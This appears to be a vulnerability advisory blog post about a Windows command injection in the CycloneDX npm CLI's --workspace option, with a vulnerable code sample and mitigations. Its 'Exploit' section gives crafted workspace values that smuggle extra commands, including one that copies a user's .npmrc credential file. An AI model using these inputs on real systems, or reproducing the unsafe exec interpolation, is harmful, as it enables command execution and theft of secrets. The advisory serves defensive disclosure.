(CycloneDX npm CLI), Command Injection (CWE-78), CVE-2026-71538 (High) -DC-Sep2026-2415

Listen to this Post

Vulnerability

A Windows-specific command injection vulnerability exists in the `@cyclonedx/cyclonedx-npm` CLI tool prior to version 6.0.0. When the tool is invoked with the `–workspace ` option and the `npm_execpath` environment variable is unset or empty, the application falls back to a legacy execution path that constructs a shell command by directly interpolating the user-supplied workspace value without adequate sanitization.
This insecure pattern is rooted in improper input validation and unsafe shell execution practices, classifying the flaw as CWE-78: Improper Neutralization of Special Elements used in an OS Command. On Windows, where the fallback path utilizes `cmd.exe` for command execution, special shell metacharacters such as &, |, >, and `;` are interpreted by the command interpreter rather than being treated as literal string data.
An attacker who can influence the `–workspace` argument—whether through a malicious monorepo configuration, a compromised CI/CD pipeline variable, or social engineering—can chain arbitrary OS commands to the intended npm operation. This enables the attacker to execute commands with the privileges of the user running the CLI, potentially leading to data exfiltration, file modification, or service disruption. The vulnerability was resolved in PR 1489, which reworked the npm CLI detection and execution logic to avoid shell interpolation of untrusted input, and the fix is included in version 6.0.0.

DailyCVE Form:

Platform: npm CLI
Version: 6.0.0
Vulnerability : CWE-78
Severity: High
date: 2026-09-17

Prediction: 2026-09-24

What Undercode Say

Check installed version of cyclonedx-npm
npm list @cyclonedx/cyclonedx-npm
Verify if npm_execpath is set (empty or unset is vulnerable)
echo "npm_execpath=${npm_execpath:-<EMPTY>}"
Simulate the vulnerable invocation pattern on Windows
(DO NOT RUN with untrusted input in production)
cyclonedx-npm --workspace "my-workspace & calc.exe" --output-file sbom.json
Inspect the constructed command in the vulnerable fallback path
(Conceptual representation of the flawed logic in src/npmRunner.ts)
const cmd = <code>npm --workspace ${workspaceValue} ...</code>;
exec(cmd); // shell metacharacters are interpreted here
// Vulnerable pattern in versions prior to 6.0.0 (conceptual)
// src/npmRunner.ts — fallback execution path on Windows
const { exec } = require('child_process');
function runNpmCommand(workspaceName) {
// UNSAFE: direct string interpolation into shell command
const command = <code>npm --workspace ${workspaceName} run build</code>;
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(<code>Execution failed: ${error.message}</code>);
return;
}
console.log(stdout);
});
}
// Malicious input: "my-workspace & powershell -c \"whoami\""
// Constructed command: npm --workspace my-workspace & powershell -c "whoami" run build
// The ampersand breaks out of the npm context and executes the secondary command.

Exploit: (Educational Purposes!)

On a Windows host with a vulnerable version (< 6.0.0)
Ensure npm_execpath is unset or empty to trigger the fallback path
set npm_execpath=
Crafted workspace value that breaks out of the npm command context
The semicolon, ampersand, and pipe are interpreted by cmd.exe
cyclonedx-npm --workspace "legit-workspace & echo PWNED > C:\temp\proof.txt" --output-file sbom.json
Alternative payload using the pipe operator
cyclonedx-npm --workspace "legit-workspace | whoami" --output-file sbom.json
Data exfiltration example (conceptual)
cyclonedx-npm --workspace "x & type C:\Users\%USERNAME%.npmrc > C:\temp\exfil.txt" --output-file sbom.json

Protection: from this CVE

1. Upgrade to the fixed version (6.0.0 or later)
npm install -g @cyclonedx/cyclonedx-npm@^6.0.0
2. Temporary mitigation: ensure npm_execpath points to the npm CLI wrapper
This bypasses the vulnerable fallback execution path
export npm_execpath=/path/to/npm-cli.js
On Windows (cmd):
set npm_execpath=C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js
3. Avoid passing untrusted or user-controlled values to --workspace
Validate and sanitize any workspace name before use:
if [[ "$WORKSPACE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
cyclonedx-npm --workspace "$WORKSPACE" --output-file sbom.json
else
echo "Invalid workspace name" >&2
exit 1
fi
4. In CI/CD pipelines, never interpolate untrusted variables into CLI arguments
Use array-based argument passing where possible
5. Audit existing installations
npm audit --filter="@cyclonedx/cyclonedx-npm"

Impact

Successful exploitation of CVE-2026-71538 allows an attacker to execute arbitrary operating system commands on Windows hosts with the privileges of the user running the CLI. In development environments and CI/CD pipelines, this can lead to unauthorized access to sensitive configuration files, modification of project dependencies to introduce supply chain compromises, and disruption of build or deployment processes. The vulnerability is particularly dangerous in shared development environments or automated pipelines where input sources may not be fully trusted.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top